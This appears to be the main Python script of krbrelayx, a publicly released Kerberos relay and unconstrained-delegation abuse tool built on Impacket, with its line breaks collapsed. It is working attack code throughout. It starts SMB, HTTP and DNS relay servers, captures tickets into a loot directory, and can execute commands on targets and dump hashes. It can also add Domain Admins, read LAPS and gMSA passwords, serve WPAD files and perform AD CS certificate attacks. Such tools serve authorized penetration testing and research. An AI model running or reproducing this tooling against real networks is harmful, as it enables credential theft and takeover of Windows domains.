#!/usr/bin/env python #################### # # Copyright (c) 2020 Dirk-jan Mollema (@_dirkjan) # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # #################### # # This tool is based on ntlmrelayx, part of Impacket # Copyright (c) 2013-2018 SecureAuth Corporation # # Impacket is provided under under a slightly modified version # of the Apache Software License. # See https://github.com/SecureAuthCorp/impacket/blob/master/LICENSE # for more information. # # # Ntlmrelayx authors: # Alberto Solino (@agsolino) # Dirk-jan Mollema / Outsider Security (www.outsidersecurity.nl) # import argparse import sys import binascii import logging from impacket.examples import logger from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher from lib.servers import SMBRelayServer, HTTPKrbRelayServer, DNSRelayServer from lib.utils.config import KrbRelayxConfig RELAY_SERVERS = ( SMBRelayServer, HTTPKrbRelayServer, DNSRelayServer ) def stop_servers(threads): todelete = [] for thread in threads: if isinstance(thread, RELAY_SERVERS): thread.server.shutdown() todelete.append(thread) # Now remove threads from the set for thread in todelete: threads.remove(thread) del thread def main(): def start_servers(options, threads): for server in RELAY_SERVERS: #Set up config c = KrbRelayxConfig() c.setProtocolClients(PROTOCOL_CLIENTS) c.setTargets(targetSystem) c.setExeFile(options.e) c.setCommand(options.c) c.setAddComputerSMB(None) c.setEnumLocalAdmins(options.enum_local_admins) c.setEncoding(codec) c.setMode(mode) c.setAttacks(PROTOCOL_ATTACKS) c.setLootdir(options.lootdir) c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid) c.setIPv6(options.ipv6) c.setWpadOptions(options.wpad_host, options.wpad_auth_num) c.setSMB2Support(not options.no_smb2support) c.setInterfaceIp(options.interface_ip) if options.altname: c.setAltName(options.altname) if options.krbhexpass and not options.krbpass: c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, binascii.unhexlify(options.krbhexpass), options.krbsalt, True) else: c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, options.krbpass, options.krbsalt, False) c.setKrbOptions(options.format, options.victim) c.setIsADCSAttack(options.adcs) c.setADCSOptions(options.template) #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPKrbRelayServer and options.r is not None: c.setMode('REDIRECT') c.setRedirectHost(options.r) s = server(c) s.start() threads.add(s) return c # Init the example's logger theme logger.init() #Parse arguments parser = argparse.ArgumentParser(add_help=False, description="Kerberos relay and unconstrained delegation abuse tool. " "By @_dirkjan / dirkjanm.io") parser._optionals.title = "Main options" #Main arguments parser.add_argument("-h", "--help", action="help", help='show this help message and exit') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-t', "--target", action='store', metavar = 'TARGET', help='Target to attack, ' 'since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use.') parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' 'full URL, one per line') parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' 'automatically (only valid with -tf)') # Interface address specification parser.add_argument('-ip', '--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' 'bind SMB and HTTP servers',default='') parser.add_argument('-r', action='store', metavar='SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') parser.add_argument('-l', '--lootdir', action='store', type=str, required=False, metavar='LOOTDIR', default='.', help='Loot ' 'directory in which gathered loot (TGTs or dumps) will be stored (default: current directory).') parser.add_argument('-f', '--format', default='ccache', choices=['ccache', 'kirbi'], action='store',help='Format to store tickets in. Valid: ccache (Impacket) or kirbi' ' (Mimikatz format) default: ccache') parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' '"%s"). If errors are detected, run chcp.com at the target, ' 'map the result with ' 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py ' 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) parser.add_argument('-no-smb2support', action="store_false", default=False, help='Disable SMB2 Support') parser.add_argument('-wh', '--wpad-host', action='store', help='Enable serving a WPAD file for Proxy Authentication attack, ' 'setting the proxy host to the one supplied.') parser.add_argument('-wa', '--wpad-auth-num', action='store', help='Prompt for authentication N times for clients without MS16-077 installed ' 'before serving a WPAD file.') parser.add_argument('-6', '--ipv6', action='store_true', help='Listen on both IPv6 and IPv4') # Authentication arguments group = parser.add_argument_group('Kerberos Keys (of your account with unconstrained delegation)') group.add_argument('-p', '--krbpass', action="store", metavar="PASSWORD", help='Account password') group.add_argument('-hp', '--krbhexpass', action="store", metavar="HEXPASSWORD", help='Hex-encoded password') group.add_argument('-s', '--krbsalt', action="store", metavar="USERNAME", help='Case sensitive (!) salt. Used to calculate Kerberos keys.' 'Only required if specifying password instead of keys.') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') #SMB arguments smboptions = parser.add_argument_group("SMB attack options") smboptions.add_argument('-e', action='store', required=False, metavar='FILE', help='File to execute on the target system. ' 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') smboptions.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', help='Command to execute on ' 'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same ' 'directory).') smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') #LDAP options ldapoptions = parser.add_argument_group("LDAP attack options") ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') ldapoptions.add_argument('--add-computer', action='store', metavar='COMPUTERNAME', required=False, const='Rand', nargs='?', help='Attempt to add a new computer account') ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') # AD CS options adcsoptions = parser.add_argument_group("AD CS attack options") adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`') adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.') adcsoptions.add_argument('-v', "--victim", action='store', metavar = 'TARGET', help='Victim username or computername$, to request the correct certificate name.') try: options = parser.parse_args() except Exception as e: logging.error(str(e)) sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) logging.getLogger('impacket.smbserver').setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) # Let's register the protocol clients we have # ToDo: Do this better somehow from lib.clients import PROTOCOL_CLIENTS if options.codec is not None: codec = options.codec else: codec = sys.getdefaultencoding() if options.target is not None: logging.info("Running in attack mode to single host") mode = 'ATTACK' targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS) else: if options.tf is not None: #Targetfile specified logging.info("Running in attack mode to hosts in targetfile") targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS) mode = 'ATTACK' else: logging.info("Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.") targetSystem = None mode = 'EXPORT' if not options.krbpass and not options.krbhexpass and not options.hashes and not options.aesKey: logging.info("Running in kerberos relay mode because no credentials were specified.") if mode == 'EXPORT': logging.error('You need to specify at least one relay target, or specify credentials to run in unconstrained delegation mode') return mode = 'RELAY' else: logging.info("Running in unconstrained delegation abuse mode using the specified credentials.") if options.r is not None: logging.info("Running HTTP server in redirect mode") if targetSystem is not None and options.w: watchthread = TargetsFileWatcher(targetSystem) watchthread.start() threads = set() c = start_servers(options, threads) print("") logging.info("Servers started, waiting for connections") try: sys.stdin.read() except KeyboardInterrupt: pass else: pass for s in threads: del s sys.exit(0) # Process command-line arguments. if __name__ == '__main__': main()